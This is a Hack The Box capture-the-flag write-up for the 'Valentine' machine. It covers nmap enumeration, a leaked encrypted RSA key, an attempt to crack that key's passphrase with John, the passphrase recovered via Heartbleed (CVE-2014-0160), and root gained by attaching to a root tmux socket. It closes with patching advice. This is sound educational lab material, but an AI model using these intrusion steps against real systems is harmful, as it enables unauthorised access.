d3vyce
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133 lines
4.5 KiB
Markdown
133 lines
4.5 KiB
Markdown
---
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title: "Writeup - Valentine (HTB)"
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date: 2022-05-05
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slug: "writeup-valentine-htb"
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type: "writeup-ctf"
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---
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This is a writeup for the [Valentine](https://app.hackthebox.com/machines/Valentine) machine from the HackTheBox site.
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## Enumeration
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First, let's start with a scan of our target with the following command:
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```bash
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nmap -sV -T4 -Pn 10.10.10.79
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```
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Three TCP port are discovered:
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- 22/tcp : SSH port (OpenSSH 5.9p1)
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- 80/tcp : HTTP (Apache 2.2.22)
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- 443/tcp : HTTPS (Apache 2.2.22)
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## Exploit
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First, I start by scanning the site's folders.
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I quickly find the `/dev` folder where there are 2 files :
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```bash
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To do:
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1) Coffee.
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2) Research.
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3) Fix decoder/encoder before going live.
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4) Make sure encoding/decoding is only done client-side.
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5) Don't use the decoder/encoder until any of this is done.
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6) Find a better way to take notes.
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```
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```bash
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-----BEGIN RSA PRIVATE KEY-----
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Proc-Type: 4,ENCRYPTED
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DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
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DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
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5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
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0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
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Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
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OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
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pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
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QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
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p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
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Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
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t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
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XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
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aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
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+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
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AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
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r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
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2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
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e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
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09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
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dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
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cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
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pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
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Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
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suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
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l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
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RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
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-----END RSA PRIVATE KEY-----
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```
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This second file is very interesting, it's an RSA key that should allow me to connect in SSH. The only problem is that it is encrypted and requires a password. So I try to brute force the password. For that I start by extracting a hash with the following command:
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```bash
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ssh2john id_rsa > hash
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```
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Then I launch John with the rockyou dictionary.
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Unfortunately without success. Let's look for something else, after performing a vulnerability scan with Nmap, I find that the machine is vulnerable to CVE-2014-0160. After some research I find this github [github](https://github.com/sensepost/heartbleed-poc).
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After some executions I find a string in base64:
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```bash
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┌──(d3vyce㉿kali)-[~/Documents]
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└─$ echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
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heartbleedbelievethehype
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```
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It could be a password, so I test to connect with :
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I now have SSH access and can retrieve the first flag.
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{{< alert >}}
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While trying to connect via SSH I got the following error: `sign_and_send_pubkey: no mutual signature supported`. To solve the problem I had to add to the command: `PubkeyAcceptedKeyTypes=+ssh-rsa`.
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{{< /alert >}}
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## Privilege escalation
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At first I start by running the [linpeas.sh](https://linpeas.sh) script to find a vulnerability. I quickly find a tmux service executed by root.
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After some research I find that it is possible to enter a tmux stream via the `-S` argument which allows to indicate a socket-path.
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```bash
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tmux -S /.devs/dev_sess
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```
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I now have a root shell and I can get the last flag.
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## Recommendations
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To patch this host I think it would be necessary to perform a number of actions:
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- Do not leave large files accessible directly from a website
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- Update the machine to fix CVE-2014-0160
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- Do not create a tmux session as root
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